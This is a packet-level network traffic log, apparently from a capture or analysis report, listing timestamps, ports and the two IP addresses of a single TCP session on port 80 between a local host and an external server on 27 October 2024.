Oct 27, 2024 20:15:31.904594898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.904638052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904673100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904706955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904736996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.904742002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904773951 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.904865026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904916048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904942989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.904948950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.904983044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905019999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905045986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.905133963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.905318975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905349016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905466080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.905472994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905507088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905541897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.905610085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.941148996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941207886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941258907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941289902 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.941293955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941320896 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.941328049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941363096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941395998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941430092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941462994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941463947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.941498041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.941525936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.962382078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.962413073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.962447882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.962482929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.962492943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.962599039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.962959051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963012934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963048935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963061094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.963104010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963134050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.963139057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963174105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963202953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.963207960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963241100 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.963270903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.963279009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.964540958 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:31.965575933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.965615034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.965650082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:31.967042923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.181648016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.234977961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.426153898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.431672096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431772947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431790113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431817055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431829929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.431834936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431853056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431866884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431873083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.431890965 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.431905031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431921959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.431941986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.432104111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432118893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432143927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432151079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.432159901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432185888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432200909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432213068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.432228088 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.432244062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432260036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432279110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.432295084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.432327986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433021069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433037043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433053970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433083057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433085918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433099985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433120012 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433126926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433142900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433156967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433161020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433173895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433195114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433937073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433952093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433969975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.433979034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.433996916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434011936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434015989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434034109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434055090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434056044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434072971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434087992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434107065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434135914 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434855938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434871912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434897900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434912920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434921980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434930086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434954882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434957981 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.434972048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434987068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.434993029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.435004950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435024023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.435762882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435779095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435794115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435806990 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.435826063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.435832024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435847044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435863018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435875893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.435897112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.435929060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.436368942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436422110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436436892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436459064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.436465025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436480045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436495066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436500072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.436516047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436532021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436536074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.436547041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.436570883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.437330961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437346935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437374115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437376976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.437390089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437412977 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.437417030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437433004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437448978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437454939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.437463045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437480927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.437489033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.437522888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.438262939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438277960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438306093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438313961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.438321114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438345909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438360929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438375950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438385010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.438393116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438409090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.438416004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.438441038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.439131021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439199924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.439208984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439352036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439409971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.439440966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439464092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439480066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439495087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439512014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439527035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439543009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439558983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.439575911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.439649105 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.440462112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440485954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440500975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440515041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440531015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440546036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440562010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440577030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440593004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.440593958 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.440675974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441163063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441224098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441232920 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441241026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441257000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441272974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441298962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441349983 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441696882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441761971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441778898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441828966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441844940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441864967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441880941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441895962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441898108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441911936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441926003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.441946030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.441955090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442023993 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442564964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442673922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442688942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442703962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442728996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442732096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442745924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442754030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442760944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442778111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442789078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442791939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442811966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442814112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442827940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442843914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.442866087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.442897081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443487883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443515062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443555117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443561077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443571091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443594933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443608999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443614006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443624973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443639994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443650961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443686008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443691015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443706989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443722010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443737030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.443742037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.443778038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444330931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444360018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444375038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444402933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444417953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444433928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444448948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444458961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444479942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444502115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444518089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444542885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444557905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444569111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444574118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444588900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444605112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444608927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444626093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.444628000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.444684982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445281029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445343018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445358992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445374966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445380926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445420980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445560932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445576906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445590973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445616007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445616007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445643902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445653915 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445660114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445674896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445692062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445702076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445707083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445739031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445770025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445785046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445800066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445815086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445816994 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445831060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445844889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445861101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445862055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445878029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.445882082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.445899963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446471930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446521044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446573019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446588993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446614981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446628094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446630001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446649075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446665049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446680069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446688890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446707964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446723938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446728945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446743965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446751118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446759939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446774960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446785927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446789980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446805000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446816921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446820974 CET	80	49719	185.215.113.16	192.168.2.5
